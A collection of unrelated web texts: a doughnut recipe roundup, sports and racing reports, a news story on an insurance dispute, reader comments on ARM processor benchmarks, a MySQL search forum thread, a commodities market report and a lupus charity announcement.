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Check out some simple, but drool-worthy doughnut recipes just in time for national doughnut day on June 1st! From doughnut truffles to doughnut flavored cupcakes there's sure to be a flavor that satisfies everyone's taste buds.
Forget those boring glazed doughnuts and try some of these simple, yet creative recipes that are sure to make your mouth water. As national doughnut day approaches on June 1st get ready to ditch those simple doughnuts you know and love and spice them up with one of these drool-worthy recipes. From red velvet and chocolate truffle to just a plain vanilla, these doughnuts are sure to satisfy your sweet tooth.
Doughnut Truffles
Lara Ferroni created these delicious doughnut truffles that are so easy to make. Now you can transform those stale doughnuts laying around the house into a delicious dessert. All you need to do is crumble the old doughnuts, reshape them into balls and top them off with chocolate sauce. So simple!
Mini Doughnuts with Mini Milk Shots
Obviously doughnuts and milk go together like peanut butter and jelly. These doughnuts and milk shots are the perfect pick-me-up and because they're mini you don't even have to feel guilty!
Easy Cinnamon Sugar Doughnuts
Little Bit Funky has created the perfect match for your morning coffee. These easy cinnamon sugar doughnuts only require four ingredients and taste delicious. Cinnamon has become a popular addition for doughnuts today, adding the perfect amount of sweetness, and with the left over batter you can make doughnut holes as well. Try this recipe with your morning coffee or add a scoop of vanilla ice cream to make it a delicious dessert.
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Pumpkin Puree Doughnut
Who says pumpkins are only for fall? Try serving these delicious cakey doughnuts topped with pumpkin puree and a buttermilk spice icing. It's the perfect balance of sweet and spicy for any time of the year.
Doughnut Flavored Cupcake
Jennifer Duran put together this unique doughnut flavored cupcake. She says that it is the perfect officer's treat, being a cupcake with the taste of a doughnut. This doughnut poses as a cupcake and is topped with coffee icing and a French vanilla mocha cream filling…definitely drool-worthy.
Mini Cake Doughnuts with Maple Glaze
Glorious treats created this mini cake doughnut topped with a maple glaze and chocolate sprinkles. So delicious I am sure you will have trouble putting them down.
Grilled Doughnut Bananas Foster
This grilled doughnut bananas foster recipe is so easy with only three ingredients. Just grill the doughnut alongside your bananas and add a drizzle of caramel. It takes the simple doughnut to an entirely new level.
Salted Caramel Glazed Doughnut Holes
Brown Sugar Mama took a new approach to the traditional glazed doughnut. These salted caramel glazed doughnut holes are just the right balance between salty and sweet.
Homemade Red velvet Doughnuts
Now that amazing red velvet flavor is not only for cakes. These red velvet doughnuts can be a great snack for morning or night and are so simple to make. Topped with a cream cheese glaze, these doughnuts are a must for national doughnut day.
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LIKE a diva returning to the centre stage, Black Caviar will command the eyes and ears of sports fans on Saturday afternoon when she resumes from the longest spell of her career in the race named after her at Flemington, the Black Caviar Lightning Stakes (1000 metres).
Her gallop at Caulfield a fortnight ago blew out the cobwebs and indicated that she is at, or close to, the levels she reached before her odyssey to Europe last June.
But, such is the attraction - and mystery - of the racing game, that no matter how big the certainty, nothing can be completely taken for granted. Not even for an equine superstar like Black Caviar.
After all, the mighty Ajax, that hero of the 1930s, won 18 times in a row before being beaten at odds of 1/40 in a three-horse race at Rosehill. That price is about $1.02.5¢ in decimal odds, so his loss that day was of seismic proportions.
But unthinkable though it may be, such an eventuality is never far from her trainer Peter Moody's thoughts.
Not that the big man is motivated so much by concern about her unbeaten record, more that he is acutely sensitive to the great champion's welfare.
Her place in the pantheon of Australian legends is assured.
But Racing Victoria's sprint handicapper Neil Jennings is one man who knows better than most just how good the daughter of Bel Esprit is. He has, after all, sought to measure and quantify her performances throughout her career, allocating a mathematical rating to express her ability and where she stands in comparison with her rivals. Jennings has been Racing Victoria's sprint handicapper for nine years, and his assessments have, over the past three seasons, been a public benchmark of her ascension to the position she holds alongside the near-mythical Phar Lap.
From promising young galloper to top-line sprinter to equine superstar it has, Jennings says, been a wonderful journey.
''She was a promising filly right from the start as we gave her a rating of 76 when she beat Kwassa Kwassa, who had won two two-year-old races, on her debut. As she continued to progress we increased her rating, and she was obviously something special, although early on she was beating her own age group and then she got injured and had a long spell. The race that first caught my eye with her was the Danehill Stakes when she beat Wanted [her stablemate] even though she hurt herself coming out of the gates,'' Jennings says. Wanted went on to win the group 1 Newmarket and is now a sire.
''But the race in which she stamped herself as really special was her first group 1 win in the Patinack Farm Classic. It was her eighth win in a row, and she absolutely demolished Star Witness and Ortensia. Going into that race she was rated at 113, coming out she had jumped to 118.
''Then she simply kept progressing. After winning her first Lightning Stakes [2011] she went up to 122, then when she carried 58 kilograms to win the Newmarket she rose to 126, and her current rating is 130.''
Jennings can't let emotion get in the way of his assessment, but as a lover of horses and racing he is just as susceptible as the rest of us to the thrill such a once-in-a-lifetime galloper brings.
''She is a superb athlete, but for me the most memorable performances were those races she had against Hay List, a great sprinter himself who I would rate as the second best in the world. Her two Lightning Stakes wins over him, the TJ Smith Stakes in Sydney and the BTC Cup in Brisbane were tremendous performances.''
Sadly there is no Hay List around on Saturday, but her great rival is back in training and hopefully will get one last crack at his nemesis in Sydney or Brisbane. But for now Moody is right: fans should turn up in droves to pay homage to one of the greatest. They may never see one as good again.


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FERNANDINA BEACH, Fla. - A Fernandina Beach couple says their gay lifestyle is keeping them from getting a fair settlement from their insurance company on storm damage they suffered from this summer's tropical storms.
Holly Hamilton and her life partner, Ellen Brooks, say the damage Tropical Storms Beryl and Debbie did to their Fernandina Beach home was bad, but they say the damage an insurance adjuster caused them was worse. Hamilton and several witnesses say the adjuster who examined her house lowballed her claim because she's gay.
"I was astonished. I was absolutely astonished." Hamilton said. "I did not think that type of hatred could make someone do their job so poorly."
The pain stared in May when Hamton's home suffered water damage from Tropical Storm Beryl. She filed a claim with Florida Peninsula Insurance. The insurance company hired Belfor Property to make temporary repairs to keep the problems from getting worse. Andy Boswell headed up that team.
Boswell, who no longer works for Belfor, says he could not believe what he heard from Mark Jager, the adjuster the insurance company hired to oversee Dr. Hamilton's claim.
"From the very beginning of it, he said 'I am not going to bother with these people. I am going to deny their claim,'" Boswell said of Jager's attitude. Boswell then said the conversation got worse. He said the adjuster told them he did not want to be here, "that these people disgust me."
Hamilton didn't hear the comments, but says she noticed a problem with Jager from the start.
Boswell says he called Hamilton to apologize for Jager's attitude.. He later told her about the anti-gay comments. That's when Hamilton called the insurance company and demanded a new adjuster.
Florida Peninsula offered to pay about $12,000 in damages for both storms -- far less than the $140,000 estimate the couple received from a private contractor they brought in for a second opinion.
Don Silver, a spokesman for Florida Peninsula, wouldn't answer questions about Hamilton's claim, but issued a statement:
"Florida Peninsula's number one goal is to treat all customers fairly and honestly. With Ms. Hamilton, after receiving notice, we immediately took all necessary steps to investigate and condemn any alleged conduct on behalf of the independent adjuster involved in this claim. The alleged conduct had no impact on Florida Peninsula's claim decision."
Jeffery Greyber, an attorney for the couple, says the claim was clearly being delayed because of Hamilton's sexual orientation.
"We had a Florida Peninsula adjuster who wanted no part in adjusting a claim for lesbian couple," Greyber said.
We tried numerous times to talk to Jager and the group he works for Crawford and Company. All declined comment because of a pending lawsuit
Hamilton says suing is a matter of principle.
"I really felt like people have differences, but this is my home. This is where I live and I did not ask for this," Hamilton said. "I was hit by two storms. I have an insurance company that I pay money to who was supposed to help me when these situations happen. And one man who does not like who I am decides he is going to persecute me and not allow the insurance company to help me repair my home."
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Exploring the Floating Point Performance of Modern ARM Processorsby Rahul Garg on 6/2/2013 2:30 PM EST
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xinthius - Sunday, June 02, 2013 - linkIt is a shame that Swift isn't included. Reply
shompa - Sunday, June 02, 2013 - linkSwift won't be licensed/used in non Apple hardware. So even if Swift was 1000000 faster, it would not help any of us. Reply
melgross - Monday, June 03, 2013 - linkExcept for the large percentage of us here who do use Apple hardware. Reply
codedivine - Sunday, June 02, 2013 - linkAuthor here. Unfortunately I don't have an iPhone, nor a Mac to be able to develop the app for the iPhone. So I couldn't test it. Might look at Swift in the future. Reply
bersl2 - Sunday, June 02, 2013 - linkCan you imagine if Intel had never openly published the x86 instruction set architecture and rarely talked about its microarchitecture?
Now consider the fact that extreme secrecy as to how to best interact with a big chip or with chipsets is the norm in the hardware world. It's horrible, and computing would be so much better if hardware companies actually talked with software developers openly. Because frankly, they suck at software, including firmware. Reply
dishayu - Sunday, June 02, 2013 - linkWow, Krait 400 and A15 are really quite close... No wonder the 2 GS4 variants (1.6Ghz A15 vs 1.9Ghz Krait 400) have similar performance. Reply
dishayu - Sunday, June 02, 2013 - linkI meant krait *300
krait 400 comes with the snapdragon 800 processors of course. Reply
phoenix_rizzen - Sunday, June 02, 2013 - linkYeah, looks like Krait 300+ hit Qualcomm's targets of "nearly the performance of an A15 at the power levels of an A9" (give or take a bit). I'm very impressed by the S4 Pro SoC in my Optimus G. Reply
ifIhateOnAppleCanIbeCoolToo - Sunday, June 02, 2013 - linkKrait 300's had very limiting memory read/write performance that makes them firmly last-gen in non-synthetic benchmarks compared to A15's. Reply
npp - Sunday, June 02, 2013 - linkVery nice article, would love to see more like this one. I really feel Anandtech should maintain its focus on low-level architecture details alongside the more consumer oriented reviews. Reply
codedivine - Sunday, June 02, 2013 - linkAuthor here. Thanks for your kind words :) Reply
tipoo - Sunday, June 02, 2013 - linkThanks for this, I find this very interesting as the floating point performance of ARM chips is now very relevant since so many games are starting to run on ARM platforms, and floating point is the predominant type of math done in games (vs integer).
I'd be curious to see where a Jaguar core would fall in this (to estimate the XBone and PS4), as well as a PowerPC 750 (wii u) although the latter would be harder to find. ARM cores seem to be closing in on the performance of the low end x86 cores, even if Jaguar is still quite a ways ahead, I wonder how different the FP performance is. Reply
codedivine - Sunday, June 02, 2013 - linkAuthor here. Jaguar throughput is discussed in the article discussion. Summary: 3 fp64 flops/cycle, 8 fp32 flops/cycle. Reply
Wilco1 - Sunday, June 02, 2013 - linkHere are the Geekbench results of Jaguar vs A15: http://browser.primatelabs.com/geekbench2/compare/...
On FP A15 wins by a good margin. On integer Jaguar is slightly faster. Reply
tipoo - Sunday, June 02, 2013 - linkThat's unexpected. I would have thought the Jaguar would lead in almost every situation, being higher power. Reply
Wilco1 - Monday, June 03, 2013 - linkRemember A15 is 3-way OoO, supports 1 load and 1 store per cycle and has very wide issue, so it can easily leave Jaguar behind on compute intensive code as the results show. However Jaguar wins on memory intensive code due to its larger L2 and faster memory system. Reply
aliasfox - Monday, June 03, 2013 - linkIf historical Mac G3 benchmarks are anything to go by, I don't think the PPC 750 will be much faster at floating point than the best of ARM.
Apple used the PPC750 and called it the G3 back in the day. New ones are higher clocked, more power efficient, and maybe more/faster cache, but should be fundamentally the same. Assuming this, one could be able to extrapolate synthetic benches based on scaling cores and frequency, no? Reply
DanNeely - Sunday, June 02, 2013 - linkWhere's atom stand in the mix? I think it would be a useful datapoint since Intel is positioning the Atom against ARM based systems. Reply
Wilco1 - Monday, June 03, 2013 - linkIIRC Atom has similar peak FP capabilities as Cortex-A9, however actual performance is far lower. Eg. 1.4GHz Cortex-A9 wins most single threaded FP benchmarks against a 2GHz Z2480: http://browser.primatelabs.com/geekbench2/compare/...
This also shows how far behind Atom is compared with last-generation phones. Intel needs Silvermont desperately to try to close the gap. Reply
watersb - Sunday, June 02, 2013 - linkExcellent work!
I wonder if GPU-based floating point will see more rapid adoption in mobile space. Reply
oc3an - Sunday, June 02, 2013 - linkHow did you account for time spent not running your benchmark, i.e. when the OS is servicing interrupts or switched to a different task? Reply
codedivine - Sunday, June 02, 2013 - linkWell it is difficult to measure them. But I do not think those were significant issues in this test. Reply
phoenix_rizzen - Sunday, June 02, 2013 - linkIf you are running your app via Android, consider installing Diagnosis Pro. It will allow you to add an overlay that shows you the exact frequency of each individual core, as polled every X seconds. Alternatively, it can just log the data to it's internal database for later export.
Works quite nicely on an Optimus G (quad-core Snapdragon S4 Pro SoC).
I've been using to test how well different CPU governess and hot plug CPU drivers work. Reply
codedivine - Sunday, June 02, 2013 - linkThanks for the tip! I will look into it! Reply
ChronoReverse - Tuesday, June 04, 2013 - linkYeah, the thermal throttling on the Krait devices is very aggressive (I'm currently using a hack on my GS4 to stop it because I like benchmarks).
Overhead on Android is also pretty high. With your RgbenchMM, the difference on my GS4 is 3000 vs 3400 if I go ahead and kill tasks firsts. Reply
whyso - Sunday, June 02, 2013 - linkWould really be nice to see
1) jaguar
2) Atom
3) Ivy bridge
in the mix. (Though of course the test would have to be coded differently). Reply
codedivine - Sunday, June 02, 2013 - linkOne needs to be careful while comparing instruction throughput across ISAs, because instructions on different ISAs are not equivalent. However, certainly looking into it. Reply
Marat Dukhan - Sunday, June 02, 2013 - linkThis is not an artificial benchmark, but it gets close to peak: https://twitter.com/YepppLibrary/status/3414033653... Reply
nakul02 - Sunday, June 02, 2013 - linkCheck out this paper:
Gaurav Mitra, Beau Johnston, Alistair P. Rendell, Eric McCreath, Jun Zhou. Use of SIMD Vector Operations to Accelerate Application Code Performance on Low-Powered ARM and Intel Platforms, Parallel and Distributed Processing Symposium Workshops & PhD Forum (IPDPSW), 2013 IEEE 27th International. IEEE, 2013. Reply
ZeDestructor - Monday, June 03, 2013 - linkSo they try to (IMO), but there's only so many architecture launches every generation so you kinda have to do the more consumer-focused stuff to fill in the gap. Reply
skiboysteve - Monday, June 03, 2013 - linkMy work is going to be using cortex a9 for a project soon and that team is deciding on NEON vs vFPU3. Can you comment on the precision and performance tradeoffs?
thanks for the great article! Reply
Wilco1 - Monday, June 03, 2013 - linkNeon supports 32-bit float only, but with Neon A9 can do 2 FMACs per cycle rather than 1 with VFP. There is no tradeoff in precision if your code already uses 32-bit floats (Neon flushes denormals to zero by default, with VFP you can choose - either way, it doesn't affect any real code). Reply
eiriklf - Monday, June 03, 2013 - linkIs there any chance to see the scores from a third krait 200 device, for instance a krait based one x, GS3 or Optimus G? I know all of those devices have about 3x the performance of the nexus 4 in linpack pr. core, so I would love to know if you found a difference with your script. Reply
srihari - Monday, June 03, 2013 - linkcan you compare with Intel ? i understand you have Neon instructions in your test but, x86 Vs ARM will be good comparision. Reply
srihari - Monday, June 03, 2013 - linkPerformance is not the only criteria to compare. i would conclude Krait 300 clearly leads Considering performance+power. Reply
banvetor - Wednesday, June 05, 2013 - linkGreat article, thanks for the work. Looking forward for more in the series... :) Reply
Parhelion69 - Wednesday, June 05, 2013 - linkCould you update this article with numbers from Exynos 5 octa, from the SGS IV?
I've run some benchmarks and its A15 seems like quite a beast
Antutu 28086, CPU float-point: 5923
sunspider: 652 ms
kraken: 6392ms
Riabench focus: 1468 ms
I don't have geekbench but found these numbers:
Geekbench score: 3598, floating point: 6168 Reply
Arkantus - Wednesday, June 19, 2013 - linkHello, just a dumb question: the article says "I count NEON addition and multiply as four flops and NEON MACs are counted as eight flops.", and the A9 Add(fp32 NEON) is rated for 1/2 flop/cycle.
So this means that the Add(fp32 NEON) is slower than it's vfp counterpart? since for each cycle the neon version only perform half an operation according to this table.
Thanks Reply
email@example.com - Friday, June 27, 2014 - linkHey this is good stuff. Can anybody here help explain something for me though?
I'm a database apps and integration guy, not formally trained and just starting to get interested in this kind of low level stuff. I've just been reading up on DMips and wondering how they relate to flops.
What I think I know so far:
A flop is floating point calculation.
The "ip" in "Mip" is an instruction so a broader term (is a flop a type of ip or does it take 2 ips to make a flop drop?)
Instructions per second is about the rawest, most non-contextualised metric of computing power you can get. Flops are a close second.
Squeezing more instructions out of a single CPU cycle is the hard problem. There aren't massive variances in what can be done in this regard. In the Krait 300 manages about 3.3 instructions per cycle which on 4 cores at 1.7Ghz works out at about 22 GigaIps (semi -source: http://investorshub.advfn.com/boards/read_msg.aspx...
My question is, firstly why are GPUs seemingly never measured in DMips and CPUs rarely in flops?
Secondly, would knowing the answer to the "firstly" explain why despite no huge variance in DMips/Mhz across different devices the top GPUs manage 1000x faster performance measured in than these ARM chips. They get tera not gigaflops whilst using a similar number of cores and lower frequency.
Obviously the consume a tonne more power to do it so I know it's not something for nothing but what's the heart of that something when it comes to how much you can do in a cycle?
Ah. It's just occurred to me. Is it that an "instruction" refers to an item in a linear thread but that just 1 of them in a GPU might include setting the RGB values for all pixels in a frame all at once? That's be a few million flops in parallel for one instruction?
Hmmm, well the real world numbers don't add up for that but is that along the right lines? If so why are these Gigaflop numbers lower than Gigamips?
Sorry it was a long one. It can be very hard to find an intermediate starting point when you google an advanced subject. Reply


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PHILADELPHIA - The University of Pennsylvania's Director of Athletics, Steven J. Bilsky W'71, has announced the men and women who will represent Class VIII in the Penn Athletics Hall of Fame. The class will be inducted on Saturday, May 5 at The Inn at Penn.
Class VIII features 12 recipients -- nine men, three women -- who will join 168 former Penn athletes and coaches into immortality. The class features 10 athletes, a former coach, and one special award.
Plaques honoring all members of the Hall of Fame are located in the Donaldson Room, which is in Weightman Hall on the Penn campus.
Complete bios and information about the honorees will be available on www.PennAthletics.com over the next few weeks, leading up to the induction ceremonies.
Penn Athletics Hall of Fame Class VIII
Diana M. Caramanico, W'01 LPS'11 - women's basketball
Debra Censits Donnally, NU'81 GNU'83 - field hockey/women's lacrosse
Timothy D. Chambers, C'85 - football
Willis N. Cummings, D.D.S., D'19 - men's cross country/track
Melissa D. Ingalls, C'90 - women's volleyball
Bruce A. Lefkowitz, C'87 - men's basketball
Robert P. Levy, C'52 - special award
Timothy D. Ortman, C'01 - sprint football/wrestling
Joseph B. Sturgis, Sr., C'56 L'59 - men's basketball
Paul A. Toomey, C'77 - men's soccer
John J. Tori, C'54 - men's fencing
Robert Weinhauer - men's basketball coach


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DEPARTED Blackburn Rovers captain Dann is looking forward to playing in the Premier League again after signing for Crystal Palace for an undisclosed fee.
Dann, who has penned a three-and-a-half-year deal with Palace, said: "It's been a long day and a long transfer window with a lot of speculation, so it's nice to finally put pen to paper and get it done.
"I'm looking forward to the next three-and-a-half years.
"Any professional footballer will tell you that they want to be in the Premier League.
"It's something I've done before and really enjoyed and having the opportunity to come and play here for the next couple of years, do well and help the team - it's something I really wanted to do and I'm glad that it's all gone through."


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That is incredible honestly the best prediction ever.... Just kidding.. Wont happen, Cena = Money.. Cena is WWE's version of walt disney. All them children and women spending money on merch. New T-shirt every other month. Vince aint stupid.
'When I die it will be in this ring, or on top of a wild woman, i'll go either way'
Chris Jericho: 'Without a storyline, wrestling is just two guys in their underwear rolling around half naked.'
Jim Cornette: 'They think they have to make up for it by doing all this devastating stuff, but the stuff isn't devastating if you don't beat people with it. Then you're just going out there exposing the business.'


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I'm trying to create a query in order to search for a specific value in several different tables. I have a table of photos, another one with keywords and a third with people (both photographers and people in the pictures), and finally one where I keep the image captions with a full text index. The fastest solution I've come up with so far is this one:
SELECT various_columns_from_table_"photos"_and_some_columns_from_table_"people"
FROM captions
INNER JOIN photos
ON captions.id = photos.captionid
LEFT JOIN people ON photos.photografph_id = people.id
WHERE MATCH(caption) AGAINST(+'hometown')
SELECT various_columns_from_table_"photos"_and_some_columns_from_table_"people"
FROM photos
LEFT JOIN people AS photographers ON photos.photografph_id = photographers.id
LEFT JOIN keywords_photos as kp
ON kp.photoid = photos.id
LEFT JOIN keywords AS k
ON k.id = kp.wordid
LEFT JOIN people_photos AS pp
ON photos.id = pp.photoid
LEFT JOIN people as people
ON pp.personid = people.id
WHERE 'hometown'
GROUP BY photos.id
Does anyone see any obvious room for improvement or any errors I should correct? I'm not sure about all the LEFT JOINS, but it seems to be working as intended.I've tried to join all the tables together in a single SELECT statement, but all my attempts so far has resulted in searches that take several seconds.
No comments on this, which may be good or not.
I just got a new idea myself. What if I copy the data from all the columns in the photos, people and keywords tables into a new column in the captions table (excluding words/phrases already present in the caption column) and use both columns for this kind of general search? That way the query could be heavily simplified, much more flexible and hopefully faster:
SELECT various_columns_from_table_"photos"_and_some_columns_from_table_"people"
FROM captions
LEFT JOIN photos
ON captions.id = photos.captionid
LEFT JOIN people
ON photos.photografph_id = people.id
WHERE MATCH(caption,newColumn) AGAINST('blah blah blah' IN BOOLEAN MODE)
Well, I guess there's only one way to find out ... But it's also nice to be supervised by the more experienced coders who are able to spot obvious mistakes.
Copying data across several tables (known as denormalization) is generally not recommended unless the alternative is too slow. Mostly because it's easy to lose sight over which data is the "original" data. I.e., if the values in the original table and the copy are different, which one is the "real" value?
Anyway, I suppose in this case it depends on how many entries you have in the tables. If it's not that many I'd go with option 1. If option 1 is too slow, go with option 2, or get a dedicated search service like sphinx search -- see http://www.ibm.com/developerworks/library/os-php-sphinxsearch/
Thanks. Yes, I've had Sphinx recommended to me a couple of times now, and I guess I'll have to check it out eventually. But using Sphinx would require switching web hotels, and that's not up to me to decide. So for now I'm stuck with the indexing and search options provided by MySQL itself.
Option 1 takes about 4-5 seconds with a fairly simple search, so yes, I think some other solution is called for. And as long as I make sure that the extra column is updated automatically every time any of its source columns is changed, there shouldn't be a problem? Or should there?
No it shouldn't be a problem. As long you remember that that data is a copy and should never be used as canonical data
OK. I'll make sure to comment the columns and document everything in case I get hit by a train and someone else takes over the project.
I wouldn't be so down on denormalization -- it really is how one makes modern apps go in lots of ways and is really powerful when you get your head around it. We are starting to make things that are fundamentally denormalized and then normalize via code when necessary.


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Allegiant announced new, nonstop jet service between Ogden, Utah and Phoenix-Mesa, Ariz. will begin September, 20, 2012. The company, known for its exceptional travel deals, will introduce the new service with fares as low as $69.99* one way between the two cities.
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Corn prices bounced from recent lows Monday. Last Friday's WASDE report boosted ending U.S. corn stocks for both 2013/14 and 2014/15, which sent CBOT futures to four-year lows. However, after retesting those lows in early trading, the market bounced today. Traders probably think recent losses and concurrent equity market gains will spur renewed demand. September corn bounced 3.25 cents to $3.815/bushel in late Monday trading, while December edged up 3.5 cents to $3.8825.
The Export Inspections staged a comeback as well. The WASDE report boosted soybean carryout for both the current and next crop years and near-perfect weather is improving fall production prospects; thus, prices tumbled last Friday. Nevertheless, beans and meal rallied to start this week, with the strong result on the weekly Export Inspections report reminding traders that the domestic situation remains relatively tight. August soybean futures inched up 1.25 cents to $11.97/bushel as Monday's CBOT session ended and November futures added 11.25 cents to $10.8625. August soyoil rose 0.11 cents to 36.88 cents/pound, while August soymeal bounced $0.8 to $388.6/ton.
Wheat futures also rebounded from four-year lows. Last Friday's WASDE report indicated reduced U.S. wheat exports and increased domestic stocks during the coming months, thereby adding the recent downtrend. But prices moved mostly higher this morning; traders seemingly suspect the early-July breakdown will spur renewed buying interest, especially with momentum indicators in oversold territory. September CBOT wheat rebounded 11.75 cents to $5.3775/bushel at their Monday close, while September KC wheat rallied 10.0 cents to $6.4625/bushel and September MWE wheat climbed 11.25 cents to $6.3925/bushel.
Cattle futures resumed last week's slide Monday. Cattle futures turned sharply lower last week as traders anticipated seasonal weakness. Sliding cash prices reinforced those ideas. Futures did bounce Friday, but apparently resumed their decline to start this week's action. August live cattle fell 1.32 cents to 147.80 cents/pound soon after midmorning Monday, while December tumbled 0.75 cents to 152.25 cents. Meanwhile, August feeder cattle advanced 0.30 cents to 210.67 cents/pound, whereas October slid 0.52 to 210.92.
Hog futures surged on reduced supply prospects. Resumed cash and wholesale strength seemingly spurred fresh buying in CME hog futures Monday. Traders may also have been reacting to short-term forecasts for big production cuts during the balance of July. August hog futures jumped 1.67 cents to 130.35 cents/pound as Monday's Chicago session ended and December climbed 0.80 cents to 105.15 cents.


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Palin bedded future NBA player Rice while he was playing college hoops at the University of Michigan, the National Enquirer reports about the McGinniss book. The sharp-shooting Rice – who spent one season with the Knicks – was playing in the annual "Great Alaska Shootout" while Palin was a sports reporter with Anchorage television station KTUU, the Enquirer said.
Their one-night stand over Thanksgiving weekend 1987 reportedly occurred in the dorm room of Palin's kid sister at the University of Alaska Anchorage. Palin was described by a friend as the aggressor, with the pal reporting "she hauled his ass down," the Enquirer said. Less than a year later, Palin was pregnant by husband Todd and the couple eloped.
The book also repeated allegations – denied in the past by Palin – that she had a six-month affair with her husband's business partner in the mid-'90s. The dalliance put a chill on the Palin marriage, with Todd complaining to friends about the loss of intimacy in their relationship, the Enquirer reported. The book also reports that Palin was once seen snorting cocaine off the top of a 55-gallon drum while snowmobiling with friends. She also smoked pot with a professor while at Mat-Su College, the book says.
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The Mets could only muster two hits all game in a 4-2 loss against the Padres this afternoon. Those two hits came in the first two innings, the second of which was a two-run homer by Henry Blanco in the second after David Wright walked.
This time, the Mets gave Johan Santana a two-run lead in the second, but he wasn't able to make it stand up. Santana looked absolutely mediocre today. He walked four batters and allowed eight hits in 6 2/3 innings. He struck out only one batter, opposing pitcher Matt Latos, who was trying to sacrifice bunt. By the seventh inning, his fast ball was topping out in the mid-80s. That could be an indication of shoulder weakness a la John Maine. Whatever it was, it wasn't a good performance. He gave up all four runs and took his third loss of the season.
The Mets offense was stymied by superb pitching by the Padres. Besides the misstep of walking Wright and allowing the two-run shot by Blanco, Matos was lights out. He and the rest of the Padres bullpen retired the last 22 Mets they faced in order.
The Mets ended their nine-game home winning streak. They'll try to get things right again in the second half of the double header. Jon Niese will face Jon Garland, who is 6-3, with a 2.68 ERA. It'll be a tough challenge. The Mets better wake up their bats.


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Offensive woes continue as Twins drop series
Nolasco fans six in 6 2/3 innings, but offense held scoreless
MINNEAPOLIS -- Ricky Nolasco certainly wasn't at his best in his second start since returning from the 15-day disabled list, but it was the offense that was the main culprit for the Twins on Wednesday night.
Nolasco, making his second start since missing more than a month with a right elbow strain, was only so-so, but the offense faltered yet again to hand the Twins a 5-0 loss to the Indians at Target Field.
Nolasco went 6 2/3 innings, giving up four runs on eight hits and a walk with six strikeouts, but he didn't receive any run support for the third time this season. The right-hander, who is in the first year of a four-year deal worth $49 million, fell to 5-9 with a 5.96 ERA on the season.
"He did a nice job tonight, but we still lost the ballgame," Twins manager Ron Gardenhire said. "He did his part and kept us in the game. But we didn't score any runs for him. His stuff was decent and he made pitches when he had to. A couple pitches he left up and they hit them, but for the most part, Ricky did a nice job for us."
Nolasco saw it as an improvement over his previous outing, when he gave up five runs over six innings against the Royals on Saturday. He said he's not all the way back, but feels like he can build on the outing.
"I thought it was a lot better today," Nolasco said. "I made a lot of good pitches. But I also had a couple I wanted back. But at the end of the day, I thought I threw the ball well. It's getting there and a step in the right direction as far as feeling good."
The Indians struck early with a solo blast from Zach Walters in the second inning before adding two more runs in the fourth. Carlos Santana started the rally in the fourth with a double to right field before scoring on a double from Jason Kipnis, who came around to score on a single from Mike Aviles.
Cleveland added another run in the seventh, when Chris Dickerson singled and stole second base. Nolasco was removed for left-hander Caleb Thielbar, who surrendered a two-out RBI single to Michael Bourn, with the run getting charged to Nolasco. Aviles added a towering solo shot off Samuel Deduno in the ninth for an insurance run.
"I feel bad we gave up that fourth run," Gardenhire said. "He had pitched well and got his pitch count up there and we didn't want to take any chances."
It was enough offense for Indians left-hander T.J. House, who threw 5 1/3 scoreless innings, scattering four hits and three walks to get the win. It was his first official start with the Indians since Aug. 7, but he was able to shake off the rust even though he didn't get deep into the game.
"It was kind of a deep pitch count, but you look up and there's zeros on the scoreboard," Indians manager Terry Francona said. "He has a way of doing that. I didn't think it was his best stuff, but he had a layoff, and a short outing, and he put up zeros."
The Twins came up short with runners in scoring position against House, going 0-for-8 in those situations.
"Once he gets guys in scoring position, he's all changeups and sliders," Dozier said. "He actually throws more offspeed in hitter's counts. He has a good changeup. We barreled a lot up but just didn't get any hits with runners on."
Dozier became the club's first 20/20 player with 20 homers and 20 stolen bases since 2004 with a single in the first and his 20th steal of the year. But he was stranded with Kennys Vargas grounding into an inning-ending double play after Joe Mauer walked.
Mauer had a chance to get the Twins on the board in the fifth with two on and two outs, but he grounded out to shortstop to end the inning. Minnesota also had two runners on and one out in the sixth and couldn't come up with a run.
The Twins were shut out for the 10th time this season and have been held scoreless for 17 straight innings against the Indians, dating back to the first inning of Tuesday's 7-5 loss.
Rhett Bollinger is a reporter for MLB.com. Read his blog, Bollinger Beat, and follow him on Twitter @RhettBollinger. This story was not subject to the approval of Major League Baseball or its clubs.


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Just curious - will we all have to help bury the dead monkeys or is that Trent's job?
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Drew, isn't the point that we party the day/night before the monkey!
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When are you rolling into N-Ville? Saturday afternoon?
Yes, approximately 2 hours after the final of the OSU/UM game, which we'll be watching at our cabin.
Well at least you will make it in time for the Saturday night pre-race love fest.
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Lupus Research Institute Advocacy Ambassador Featured Speaker at New York Biotechnology Association Annual Meeting
The Lupus Research Institute is proud to announce that our own Advocacy Ambassador Kathleen Arntsen was a featured panel speaker at the recent New York Biotechnology Association (NYBA) 22nd Annual Meeting in New York City. NYBA supports the development and growth of New York's life science industry, an industry committed to developing new treatments and a cure for diseases like lupus.
Kathleen discussed her personal journey with lupus as part of a panel presentation entitled Patient Perspectives: Seeking Cures, Not Just Returns.
Kathleen provided the audience with a vivid description of the life of a lupus patient.
"Living with lupus is like swimming in shark-infested waters. "The danger and uncertainty is always present and one is armed with nothing but a will to survive. We try to stay afloat while anticipating the next attack and remain ever hopeful that a rescue ship will soon appear on the horizon."
Patient Perspectives: Seeking Cures, Not Just Returns
The panel addressed how patient groups and disease organizations such as the Lupus Research Institute are bringing a combination of advocacy, policy, and money together in a model revolutionizing industry's investment in research and development of new drugs.
Kathleen emphasized that the kind of innovative novel research the LRI funds is the best hope for bringing the rescue ship to the aid of lupus patients.
"In late 1999 the lupus community was discouraged and disgusted with the lack of private sector research in lupus," she related. "Patients, families, health care providers, and leading researchers came together to establish the LRI in 2000. The scientists advised the group to create a nimble organization that could unleash scientific creativity and challenge conventional thinking about this complicated and mysterious illness. Their mandate: Let science lead the way to a cure."
Sharing the success of the LRI in following that mandate, Kathleen described, "Unlike other lupus funding organizations, the LRI is solely dedicated to novel lupus research that has the potential to drive discovery in a complex and understudied disease. The LRI redefined the scope and pace of progress in lupus."
Kathleen`s presentation let the numbers speak for themselves when reporting the success of the LRI approach.
- $40 million has generated $130 million in follow-up funding including $117 million from the NIH
- 140 grants awarded to date
- 84% of investigators were successful in proving novel hypotheses, published their results and obtained major follow-up funding to move their ideas from bench to bedside.
- 20% of LRI grant holders have embarked on pathways translating novel research to the clinic. Several patents for new biomarkers and therapeutic approaches are already filed or approved and biopharmaceutical companies have licensed these technologies and are developing new therapeutic agents.
